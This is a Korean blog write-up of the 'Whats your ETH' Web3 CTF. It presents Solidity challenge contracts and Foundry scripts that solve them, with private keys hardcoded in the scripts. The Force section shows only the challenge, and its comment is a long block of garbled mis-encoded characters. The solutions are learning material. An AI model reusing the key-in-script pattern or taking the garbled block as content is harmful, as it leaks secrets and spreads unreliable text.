Sechack

Whats your ETH CTF (Web3 CTF) Write up 본문

CTF

Whats your ETH CTF (Web3 CTF) Write up

Sechack 2024. 7. 5. 01:37
반응형

 

등교길에 지하철에서 드림핵 디스코드를 보다가 이런걸 발견했다. 마침 Web3공부를 막 시작한 상태였고 시험기간이라 학교에서도 풀로 자습을 줘서 (자습 아니어도 노트북 하긴 한다) 학교에서 에어팟끼고 노래를 들으며 재밌게 CTF를 했다.

 

 

결국엔 올클을 했고

 

1등을 했다.

 

 

ethernaut으로 블록체인 처음 시작하고 시작한지 이틀만에 드림핵에서 위 두 문제를 풀었었는데 그게 20일도 안됐다. 물론 쉬운 문제들만 있긴 했지만 시작한지 대략 20일정도밖에 안된 뉴비임에도 불구하고 문제들이 슉슉 풀리는게 스스로도 조금 놀랍다.

 

 

Youth

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Adolescent {
    bool public solved;

    function solve(uint256 age) external {
        require(age >= 9 && age <= 24, "Only MZ generation access it.");
        solved = true;
    }
}

 

그냥 age조건 맞춰서 solve함수 부르면 끝난다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    Adolescent public target;

    function run() external {
        target = Adolescent(0x62774Fd222af6F4a65c22114422e96d3cF6D49F1);
        vm.startBroadcast(0xf1c90815251ff59142c495b6bd4c74c48d6f9127f44a9504c0a16fffbbb74220);
        target.solve(18)
        vm.stopBroadcast();
    }
}

 

WaterPuzzle

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
#### 비커에 물 채우기 ####
1. 4L, 7L, 8L 비커를 가지고 10L 비커를 채우면 성공
2. 10L 비커에는 이미 3L의 물이 들어있다.
3. 물은 4L 비커에서 7L 비커로, 7L 비커에서 8L 비커로, 8L 비커에서 10L 비커로만 옮길 수 있다.
4. 다른 비커로 물을 옮길 때마다 1L가 증발
5. 비커는 꽉 채우지 않아도 물을 옮길 수 있다.
6. 4L 비커는 처음부터 꽉 채워져 있으며, 비울 때마다 자동으로 4L 채워진다.
*/

contract WaterPuzzle {
    uint256 public beaker4;
    uint256 public beaker7;
    uint256 public beaker8;
    uint256 public beaker10;

    bool public solved;

    constructor() {
        beaker4 = 4;
        beaker7 = 0;
        beaker8 = 0;
        beaker10 = 3;
        solved = false;
    }

    function pour4to7() public {
        require(beaker4 > 0, "4L beaker is empty");
        require(beaker7 < 7, "7L beaker is full");

        uint256 pourAmount = min(beaker4 - 1, 7 - beaker7);
        beaker4 -= (pourAmount + 1);
        beaker7 += pourAmount;

        beaker4 = 4;
    }

    function pour7to8() public {
        require(beaker7 > 0, "7L beaker is empty");
        require(beaker8 < 8, "8L beaker is full");

        uint256 pourAmount = min(beaker7 - 1, 8 - beaker8);
        beaker7 -= (pourAmount + 1);
        beaker8 += pourAmount;
    }

    function pour8to10() public {
        require(beaker8 > 0, "8L beaker is empty");
        require(beaker10 < 10, "10L beaker is full");

        uint256 pourAmount = min(beaker8 - 1, 10 - beaker10);
        beaker8 -= (pourAmount + 1);
        beaker10 += pourAmount;
    }

    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    function solve() external {
        if (beaker10 == 10)
            solved = true;
    }
}

 

위에 주석에 코드 내용이 다 써있긴 한데 CTF당시에는 주석 안보고 코드만 봤다. 4리터 비커 -> 7리터 비커 -> 8리터 비커 -> 10리터 비커 이렇게 옮기는걸 7번 반복하면 된다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    WaterPuzzle public target;

    function run() external {
        target = WaterPuzzle(0xDF7de2F1E3F44d7ED34c60cbE1d7AeE480947625);
        vm.startBroadcast(0x4085fc39fc25c2ef7565d726528080329860b1b368a714e5a286b9ce1dc5ab28);
        for(uint i = 0; i < 7; i++){
            target.pour4to7();
            target.pour7to8();
            target.pour8to10();
        }
        target.solve();
        vm.stopBroadcast();
    }
}

 

 

GasGasGas

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Gasgasgas {
    bool public solved;

    fallback() external payable {
        require(isContract(msg.sender), "It's Not contract!");
        for (uint i = 0; i < 1000; i++) {
        }
    }

    function solve() external {
        require(address(this).balance != 0, "recieved value is Zero");
        solved = true;
    }
    
    function isContract(address account) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}

 

msg.sender가 contract여야 한다. 따라서 contract의 함수에서 이더를 보내고 solve함수를 부르면 된다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    Gasgasgas public target;

    function run() external {
        target = Gasgasgas(payable(0x98c71C2065579162a7bbcD1A2AA4F248E8003B10));
        vm.startBroadcast(0xe7e8b331c191ed1e4c98506d7da1da772656ab508179464800cea49f5b240ebc);
        Ex ex = new Ex();
        ex.exploit{value: 1 ether}(target);
        vm.stopBroadcast();
    }
}

contract Ex{
    function exploit(Gasgasgas target) public payable {
        address(target).call{value: msg.value}("");
        target.solve();
    }
}

 

 

Force

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Force {
    /*
тбгтггтв│твХтвХтв╡твХтвХтвЗтвЧтвХтвЗтазтб│тб▒тбХтгХта╡твХтвХтвЗтвЧтвЭтбЬтбОтботбктбктбОтбЮтбЬтгОтвОтвЮтвЬтвОтботг║та╜таСтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгАтгФтботаЯтаЙтаИтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатв┤тв╜тг╜тглтбптб┐тг╜тв╜тб╜тг╜тглтбптгптбптаЯтаАтаАтаАтгатгЯтвЗтвЧ
тбктбктбктгОтвЧтвХтвХта╡тбХтбЗтбПтботантбктбктбОтгОтвЭтвХтв╡твХтвЗтвзтвгтбгтбгтблтбктб║тб╕тг▒тв▒твХтвЭтгЬтб╡тбПтаГтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтгФтб╛та│таБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатгЦтбптгптв┐тв╜тг║тв╛тв╜твптбптгптвптб╖тбптгптаЧтаБтаАтаАтгАтб╝тб╛твЬтвЬтвХ
твктвЭтвЬтвЦтвХтбХтб╡тб╣тб╕тб╕тбктбктбЭтбЬтбОтбЮтбЬтбЬтбХтгХтвХтбХтгЗтвзтвгтвлтбктгктбгтб│тб▒тб▒тбХтг╡таЧтаНтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатб┤таЯтаИтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтбдтгЯтг╖тг│тв┐тв╜тглтв┐тв╜тв╜твптбптгптв╖тг╗та╜таЛтаВтаАтаАтватг░тв╛твЭтвХтбХтгЗтвп
твОтгОтвзтв│тб▒тб▒тбХтгЭтвЬтвХтвЭтвЬтвЬтвОтвЮтвЬтвХтбгтблтбктбктбктгОтвЮтвЬтвХтвХтвХтвХтв╡тв╣тб╕тб╛таЭтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтвдтбЯтаЭтаИтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтватв┤твптбптг╖тг│твптгЯтг╜тв╜твптв┐тв╜твптбптбптбПтаГтаБтаАтаАтгАтгЦтбптбПтбЗтбзтбгтбгтбгтбг
твХтвОтвотвктбктгктбктгктвктвгтв│твХтгУтвХтв╡тв╣тв╕твктбктбктблтгктв▓твХтвХтгХта╡тбХтгЭтвЬтгктб╛таЛтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтв┤таЭтаСтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтватботб┐тг╜тглтбптгЧтгптгЯтб╛тг╜тв╜твптв┐тв╜таПтаЛтаАтаАтаАтвАтвдтг║тб║тгУтвЭтвЬтаотбктб║тбктбктбл
твХтвХтвзтвгтблтбктбктбктбОтбЗтбЧтбХтбХтгХтв╡тв╣твЬтвЬтвЬтвотв╣тб╕тбЬтгХтвХтвХтв╡тв╣тв╕твЬтб╖таЙтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтб┤тбЭтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтг░тг║тб╜тб╜тбптгЧтг╖тг╗тб╜тгЮтб╛тг╜тг│тв╗таЩтаЙтаАтаАтаАтвАтбатготвптвЯтвЬтбЬтгЬтвХтвнтвЭтвЬтвОтвотвктв║
тбЬтгХтвХтвЗтвЧтвЭтвЬтвХтбХтбЭтгЬтбктбгтбгтбгтб│тб▒твЭтвЬтвЬтгЬтвЬтв╝тв╕твктвгтбгтб│тб▒тгптаГтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатаЯтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтб┤тгЮтгЮтгЧтб┐тб╜тгптвЯтгЮтб╛та╜таЭтаЩтаБтаБтаАтаАтаАтгАтгдтв╛тв╜твЭтвОтвЗтвзтвгтблтбктбктггтвУтбХтгЗтвЗтвПтвО
тбОтботбктггтвУтвХтв╡твХтвХтвЭтбвтблтбктбктбОтбЗтбЧтгХтв╡твХтвХтвХтвнтбктбктбктбктбктб│тгЗтб┤та┤таВтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтб┤таГтаАтаАтаАтаАтаАтаАтаАтаАтвАтвДтб┤тгЮтбптгптгЯтгЮта╖та╗та╣таЩтаЙтаАтаАтаАтаАтаАтбАтгАтгДтб╢тбптб│тбЭтгХтвХтвХтвХтв╡тв▒твХтаотбктблтбктбктвОтвЦтвХта╡тбН
тбгтггтв│тв▒твНтвЧтвХтвХтбХтгЗтвзтвгтвлтвктбктб║тб╕тгТтвХтбХтб╡тб╣тбЬтбЬтгОтвЭтботбЧтаПтаГтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтаЬтаБтаАтаАтаАтаАтаАтаАтватг░тб╝тгЮтбптбЯтаЭтаНтаБтаАтаАтаАтаАтаАтаАтвАтгАтгДтб┤тг┤тб╗тб║тбЭтгОтвотбктб║тб╕тгТтв╡тв╣тв╕твктбктбОтботггтвлтбктб║тб▒тбХтгХтвЭтбЬ
твЗтвЗтвзтв│тв▒тбгтблтбктбктбОтботбктгУтвХтвХтбЭтгЬтбктбктбктботб║тг╕твХтбЧтаПтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтавталтаЫтаШтаЙтаАтаАтаАтаАтвАтгАтбатбдтгФтб╢тг║та╛тбЭтбЮтбОтбПтбЦтгХта╡твХтвХтгХтв╡тв╣тб╕тб╕тб╕тбктбктб│тб╕тбЬтб╝твЬтвОтвотвктбгтбгтбгтггтвг
твХтвЭтвЬтвотвктбктб║тбктбгтб│тб▒тбХтгХтвХтвЗтвзтвгтбктбктботгктгЮта╛таЙтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгАтвдтвжтб╢тгЮта╛тбЭтгПтвЮтвЭтвЭтвХтвЭтбЬтгктбктбктбктб║тб╕тбЬтбнтвХтв╡твХтвХтвЗтвПтвотвктб║тбктбгтбгтб│тб▒тбХтбЧтбХтбЗтбзтблтбктгктвк
тгХтв╡тв╣твЬтвЬтвотвктбктбОтбзтбгтб│тб▒тб▒тбХтбЗтбЧтвотвктг║тб║таКтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтаАтаИтаИтаЩта║твзтг│тб▒тбХтбХтгЗтаптбХтб╡тб▒тбктбОтбПтботбктбОтгОтвзта│тбХтгЭтвЬтвОтвотвктбктбктбОтботбгтб│тбХтб╡тб╣тбЬтб╝тб╕тбктбктбО
тбгтггтв│твХтвЗтвЧтвХтвХтбХтб╡тб╣тб╕тбктбктб║тб╕тбктггтвптаЮтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтаШтв│твзтблтбктб║тб╕тбктвОтвЗтвЧтвХтв╡тв▒тантбктбктб║тбктбктбОтгЗтвЧтвХтвХтв╡тв▒твХтбЭтгЬтбктвотвктвОтвОтвотвХта╡тбХ
тблтбктбктбктгОтвХтвХтгХтвХтвЗтвПтаотбктвотвктбгтг│таптаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаЙтбптботбктбОтбЧтгХтвХтвХтгХтв╡тв▒тв╣твктбктбктбОтгЗтвЗтвЗтвЧтвХтв╡твХтвЗтвЗтвзтвгтбктбгтб│тб▒тбХтгХтвХтв╡твХ
тбктбктггтв│тб▒тгХтв╡тв▒тб▒тггтв│тв╣тб╕тб▒тб▒тг╡таЫтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтв╗тгОтвЮтбЬтгЬтвЬтбХтбОтгОтвОтвЗтвЧтбктггтвлтбктгктвгтв│тб▒тг▒тв▒твХтвХтвЗтвзтвлтбктб║тб╕тбЬтгЬтвЬтгЬтвЬ
тв╕тв▒тб▒тбХтбХтботбктгктбктбОтгОтвОтвЮтвЬтг╜таГтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтв╛тгХтвХтбгтбгтбгтблтбктгктвгтгУтвХтвХтгХтвЗтвзтвлтбктбктгктбктбОтботбгтб│твХтв╡тв╣твктбктбктбктб▓тб╣
тбХтгХтвХтвнтбктгктбктгктбктгктвктвОтгХтб╡тбЧтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвСтгЧтбЗтбПтботбктвотв║тв╕твЬтвФтв╡твХтвХтв╡тв╣тамтбктгктв▓тв▒тб▒тб▒тбХтгЭтвХтвХтвЗтвзтвлтбктб║тбктгЪ
тбЬтбЬтгЬтвХтвОтвотвктв▓тв▒твХтбХтбХтготвПтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгдтвЦта╖та▓твдтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтв│тгЭтв╝тв╕твктвгтвгтвЗтвЧтвЭтвЬтбЬтбХтбЗтбЧтбЭтбЬтгОтвЮтвЬтвЬтбЬтгОтвотвктбгтблтгктвктвктвОтвЮтвЬ
тботб║тб╕тб▒тгХтвУтвХтвЭтвЬтвОтвотвктгЯтаВтаАтаАтгАтгАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАта╕таБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаШтб╛тгЬтвЬтвЬтвХтвХтбХтбЗтбПтботбктбгтглтвктвгтвлтгТтвХтвХтвЗтвзтвгтбгтбгтбзтблтбктвОтвЗтвЧтвХтвЗ
тботбктб║тб╕тбФтвЧтвХтвЭтвХтвХтбХтг│тблтаАтаатаЮтаСтаЙтаУтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаЩтгзтгУтвХтвЗтвЧтвХтвнтвктбктбктб║тб╕тбЬтгХтвХтвХтвХтвХтвЗтвЗтвЧтбктбктботбктбОтбЧтгХта╡тбХтбЗ
тв▒тв╣тб╕тбктгктв│тв╣тб╕тб▒тбХтгЭтв╛тбБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаШтб╜тгзтбгтб│тб▒тбгтггтвгтблтбОтбзтб│тб▒тб▒тбХтгЭтвЬтбХтгЭтвЬтбЬтгОтвотвктвОтвотвктбктгктб║
твХтвЗтвЗтаптбктбктбктгктбктб║тг╕тг╜таАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтбдтботгЮта╝тб▓тгДтаДтвАтв┤таАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаШтвЮтботгЪтвОтвЗтвЧтвХтвХтвЗтвЧтвЭтбЬтботбктгктбктбктбктбОтбЮтгЬтвЬтвотвЪтвОтаотбктбктгк
твХтв╡тв╣твктвнтбктботбктбктбОтгЦтгптаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатвптв┐тб╜тг╜тв╢тбАтаЙтвптаПтгБтбатаВтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтв╗тботбктгОтвХтв╡твХтвЭтбЬтбОтбОтботбктб▓тб▒тбХтбЭтгЬтвЬтвФтвЧтвХтбЭтбЬтботбктблтб▓
тбгтб│тб▒тбгтб│тб╕тбЬтбЬтбОтбЮтгЬтв╛таАтаАтаАтг░тб╝тгЮтг╢тгвтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтв╛талтбПтаЛтв╣тв╜тбУтаАтаИтвЯтаЕтаБтаАтаАтаАтаАтаАтбАтгАтвДтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтватбИтгЯтвОтбОтбЮтбЬтгЬтвХтбХтгЭтвЬтвОтвЮтвЬтвОтвотв║тв╕тб▒тб╣тбктбгтггтв│тв▒тв╣тв╕тб▒
тбктвотвктбгтб│твХтвХтвЭтвЬтвХтвзтг╗тбВтбАтв║тб╜тг╜тг│твзтбХтв╗тгДтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвРтв╖тбАтаАтаАтгЮтгптгЯтгЖтбЦтаПтаБтаАтвАтгатв┤таотаЫтаКтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтв╣тв╜твлтвгтбгтбгтблтбктбктбОтгОтвотвХтвХтвЭтвЬтв╝тв╕тв▒тбйтбктбОтгЗтвЗтвЧтвХтв╡твХтв╡
тбктбктбОтбЮтбЬтгХтвХтвЧтвХтвЗтвЧтгктбптбЫтб╛таЩтаГтв╣та╜таКтаАтвлтгЖтвдтвжтвжтвжтвжтгДтбАтаАтаАтаРтгптгЯтг╢тб║тб╜таЪтаКтаАтаАтвАтбдтбЮтаЭтаИтаАтаАтаАтаАтаАтаАтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтв╝твЧтвХтвЗтазтблтбктгктбгтглтв▓тв▒твХтвХтвЭтвХтвХтгХтбгтблтбктб║тг╕тв╕тв▒твХтвХтбХтгХ
твЬтвнтвктбгтб│тб▒тбХтгЗтвЧтвЭтв╝тв╕тб╣тгПтв╣твзтгАтв╝тг╗твптб┤тбУтаЙтгАтгДтбдтгДтбАтаАтаЙтаАтаАтаИтаСтаБтаБтаАтаАтаАтаАтаАта▓талтаБтаАтгАтвдтвжта╢та▓та│таЛтаЛтаЛтаЛтаСтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтватв┐твХтбЭтгЬтвнтв║твЬтвОтвотбктбОтбзтбгтблтгХтвЭтвЬтв┤тв▒твЭтвЬтбЭтгЬтвЬтбХтбХтбЗтбПтбо
твХтвХтвЗтвзтвлтбктгктбктбктбгтб│тб▒тгХтгптаКтаЫта║таптвптаЯтаАтаАтгЮтг╖тг│тгЯтб╜тбЗтаАтаАтаАтаатбДтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАта░та╗таЙтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтв╛тбЭтбОтботбктбктгХтвХтв╡твХтвХтвнтбктбктботбктбктбгтб│твХтвХтгХтв╡тв▒твгтбгтблтбктгктв║
твЬтвХтвХтбХтбЗтбПтбОтбОтбОтгЗтвЧтгЯтаЗтаБтаАтаАтаАтаАтг║тбБтаАтаАтаИтаЪта║та║таЩтаАтаАтаАтаАтаАтаШта╢тгДтгАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтватв╛та╜тб╕тб╕тб╕тбЬтгЬтв┤твХтв╡тв▒твЭтвЬтвЬтвОтвОтвотвктвгтв│тв▒твХтвХтвХтв╡тв▒тбктгктв║твктбк
тб│тб╣тб╕тбЬтбОтбЮтбЬтбОтгЗтвЧтг╜тбГтаАтаАтаАтаАтаАтаАтг╗таДтаАтаАтаАтаАтвАтгДтбАтаАтаАтаАтаАтаАтгАтбдтаЯтаКтаЫтаЩтаЪтаЩтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтгФтбптблтбЭтгЬтвХтвЭтвЬтбЬтбЬтб╝тб╕тб▒тбХтгЭтвЬтвОтвЮтвЬтвОтвЗтвЧтбХтбЗтбПтбЗтбЧтгХтвХтв╡тв▒твХтвХ
тбктвнтвктв║тв╕тв▒твХтвЭтвЮтв╜тг║тбЫтаЫтаВтаАтаАтаАтаАтаИта╗твЦтбдтгДта╢тбптб╖тгптв╖тг│тгЧтб╛таЩтаКтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатг░тб│тбЗтгПтвОтвЮтвФтв╡тв╣тв╕тб╕тбктбктбктбгтбЗтбЧтгХтвХтв╡твХтвХтвЭтбЬтбЬтбктбктбгтглтвктбктгХтвХтвХтвЭ
тбктбктбОтгЗтвЧтвХтгХтвХтвЗтвЧтб║тг║тг┤тб│таЛтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтаИталтвЯтв╛таЪтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтвАтгАтвдтвжтг╗тг║тг▒тггтг│тг▒тгХтб╡тгХтбЧтгХтб╡тг▒тбйтб║тбктбгтб│тб▒тбХтгХтвХтбХтб╡твХтаотгЪтбктбЭтб╝тб╕тбЬтбЬтбЦтбХтбЧтбн
твЗтвПтвотвктвОтб│тб╕тг▒тв╣тв╝тб║тбЭтботб╗тгжтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтгАтб┤тг┤тг│тв╜та│таптаЯтаЭтаУтаЩтаШтаБтаЙтаКтаИтаЙтаСтаЩтаЩтаЩтаУта╗та╜тв╜тг║тв╜тбЬтгОтвотвктаотбктбгтбПтгОтвОтвЮтвЬтв╡тв▒твгтб│тб▒тбгтгг
твгтгУтвХтазтбгтблтбктбктб║тб╣твЬтвЬтвЦтвХтвХтвЯтб╖тгвтгатбАтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтг░та╝таЛтаГтаЙтаБтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтаЙталтв╗тгктвотгЪтбктб║твЬтв▓твХтгУтвЭтвЬтаотбктгктбктгктб▓
твХтв╝тв╕тантбктб║тбктб║тбктбктб│тб▒твХтвХтбХтбЗтбПтботбУтбптб╗тгЮтвжтбжтгАтгАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИта╗тг║тгктбктбгтб│тб▒тб▒тбХтгЭтвЬтвнтв▓твктбктгк
тбХтбЗтбЧтгЭтвЬтвХтв╡твХтв╡тв╣тб╕тбктбгтбгтб│тб▒тбХтгХтвХтвЗтбЗтбзтб│тб╣тб╣тгЪтвЧтбзтгЖтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтватгДтаЩтг╛тбктб║тб╕тбктб║тб╕тбЬтбОтбЮтбЬтбХтгХтвХ
тбктбктб║тб╕твЬтвХтб╡тб╡тг╡твзтгзтглтбктбнтбктб║тб╕твЬтвХтвХтвХтв╡тбйтаотбктбктбктбктбЭтг╜тбВтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгАтаШтв╜тг│тантбктбктботбктбгтб│тб▒тгХтвЭтвЬтвЬтвЬ
тбктгктв║твЬтб╜тб╜тгЕтаБтаАтаАтаАтаИтаЫтв╛твотбктгУтвХтгХтвХтвЧтвХтвнтвлтбктб║тбктб║тг╕тв╛таЕтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтвЯтгЦтгптблтбктботбктбктблтгктвгтвгтвХтвХтвЭтвХ
тб╕тбктгктв┐тгЕтаАтаЙтаУтаДтаАтб╖таАтаАтаАтаЙталтв╖тг│тгктбктбгтглтв║тб╕тгЬтг╝тв╝твптбптаГтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгАтгатвдтбжтб╢тг╢тг│тг╗тг║тб│тгЧтг╢тг▓тгдтвдтгАтбАтаАтвАтаАтг╝тг│твгтбгтбЗтбзтблтгктвлтвктбктбгтб│тб▒тгУтвЭ
твХтвХтвптбЗтаШтажтбАтаАтаАтаАтаШтазтаАтаАтаАтаАтаАтаИтаКталта╗та║та│талтаУтаЙтвБтб╖тбЛтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтбатгЦтгптвЧтвПтвПтбОтбЧтбктб▓тбктбвтггтбУтбЦтбХтгХтвЭтвЧтб╗тбптб╖тб╗тб│тб╣тб╕тб╕твЬтвЬтвЬтгЬтвЬтвХта╡тб╣тб╕тбктбктбк
